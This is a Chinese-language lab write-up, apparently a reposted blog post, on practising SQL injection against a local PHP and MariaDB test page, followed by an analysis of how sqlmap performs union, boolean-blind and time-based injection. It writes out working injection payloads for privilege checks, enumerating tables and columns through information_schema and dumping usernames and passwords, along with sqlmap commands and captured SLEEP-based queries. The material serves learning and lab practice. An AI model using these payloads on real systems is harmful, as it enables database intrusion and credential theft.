SQL注入实践学习


一、      1.什么是sql注入漏洞

程序员在编写代码的时候没有对用户输入数据的合法性进行判断,使得应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的寄过,获得想知道的信息

二、      1.sql注入产生的原因

程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行

2.存在该漏洞会导致什么后果

Sql注入会导致数据库存在被入侵的风险,如刷库,拖库,撞库

三、      1.mariadb apache php在3.2的时候已经安装,可以正常访问

2.将存在sql注入的php页面放在网站的访问目录下

.3.手工实现注入,

(1)   测试是否存在注入

当输入id=geng’ and 1=1 %32时输出用户的密码数组

当输入id =geng’ and 1=2 %32时,无输出,说明闭合区和注释区之间的代码得到了执行,存在sql注入

(2)   当前数据库权限判断

数据段有四个

所以构造查询语句为

Id=?username=geng'union select 1,2,3,user() %23

数据库权限是root权限

(3)   字段数判断

输入order3和order 4都可以正常显示

当输入order by 5的时候,输出错误

说明字段数是4

(4)   获得数据库的库名和表名

查询语句?username=geng' union select group_concat(table_name),database(),3,4frominformation_schema.tables where table_schema=database()  %23

当前数据库是demo 数据库下的表名有user和verify

(5)   获取数据库字段名

查询语句 ?username=geng' union select group_concat(column_name),2,3,4 frominformation_schema.columns where table_schema=database()  %23  当前数据库的所有字段

查询语句 ?username=geng' union select group_concat(column_name),2,3,4 frominformation_schema.columns where table_name=0x766572696679,得到verify表的字段,0x766572696679是verify的16进制形式

(6)   获取数据

查询语句:?username=geng' union select group_concat(username,0x3a,password),2,3,4from verify  %23

4. sqlmap union注入分析

UNION 用于合并两个或多个SELECT 语句的结果集,并消去表中任何重复行。
UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。

原理:

union语句可以将两个select请求的结果集进行合并,所以可以在目标文件请求请求参数的值的时候一起进行select请求,这样就可以插入一条入侵者想要执行的请求语句

Sqlmap的union注入过程分析

(1)在shell中输入命令行,python sqlmap.py -u"http://127.0.0.1/sql_injection/1.php?id=2&submit=submit"   --flush-session  --technique U --current-db -p id

此时清掉请求的缓存,让sqlmap重新进行请求

(2)

按照给定的url里的parameter进行正常的请求

(3)

猜解parameter的闭合符号,对每个猜的符号进行12次请求,

(4)

猜出parameter的闭合符号之后猜解select的字段数

(5)

对数据库的信息进行验证,此时验证数据库版本,当前数据库的使用者

(6)

进行请求的查询,

用wireshark抓包分析查询语

2%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a6b7a71%2CIFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7171717071%29--%20XkHJ

经过url转换,得到以下语句

2'UNIONALL SELECT CONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() ASCHAR),0x20),0x7171717071)—XkHJ

也就是请求了

SELECTusername FROM user WHERE id='2' UNION ALL SELECTCONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7171717071)-- XkHJ'

注入的是

SELECTCONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7171717071)

 --后面的是注释,union将前一个和后一个请求的结果集进行了合并,

DATABASE()请求了当前数据库的名称

CAST(DATABASE()AS CHAR)  CAST语句将DATABASE()请求到的结果转换为字符格式

IFNULL(CAST(DATABASE()AS CHAR) , 0X20)  如果cast的结果是真,IFNULL语句选择第一个,否则选择第二个,

 CONCAT将字段连接起来,最后输出的时候再取出数据库名的字段

5.sqlmap的boolean注入

Web的页面的仅仅会返回True和False。布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息,从而一比特一比特的拖库

用sqlmap的boolean based注入进行攻击

(1)   在shell中输入命令

(2)   检测参数id的闭合方式,运用了多种闭合方式去试探

(3)   检测目标数据库的信息,执行了各个数据库的函数,如果得到执行说明是该数据库

(4)   猜解目标字段的第一个字符,运用二分法进行循环,直到找到返回值为真和假的分界线

(5)   由于事先没有检查目标字段的长度,所以目标字段长度为13,但是检测了14次,最后一个字符的sacii的数值为0

找到目标字段,sql_injection

6.sql_map的time based注入分析

(1)   在shell中执行命令

(2) 检测参数id的闭合方式,运用了多种闭合方式去试探

(2)   对请求目标字段的第一个字符进行猜解

请求语句

SELECT username FROM user WHERE id='2' AND9516=IF((ORD(MID((IFNULL(CAST(DATABASE() ASCHAR),0x20)),1,1))>64),SLEEP(5),9516) AND 'SENs'='SENs'

9516=IF((ORD(MID((IFNULL(CAST(DATABASE() ASCHAR),0x20)),1,1))>64),SLEEP(5),9516)

是选取请求目标字段的第一个字符,如果第一个字符符合要求,选择sleep(5)也就是睡眠5秒,否则选择9516,由此有一个正确与否的判断,然后对此循环查询,找到睡眠与不睡眠的分界点

(3)   与booleanbased注入相同,由于没有查询请求字段的大小,请求字段长度13,但是循环查询14次,最后一个字符的sacii的数值为0

Time based和boolean based的区别是判断猜测是否成功的依据不同time base按照输出false和true判断,timebase按照是否睡眠来判断,所以慢一点

四、      总结

拿到一个新的知识,不清楚该从什么地方下手,所以在刚开始的时候有点慢,但是经过学习也积累了一些经验,以后在这些事情上会越来越熟练


仅实验 谨实验

猜你喜欢

转载自blog.csdn.net/biziwaiwai/article/details/79323342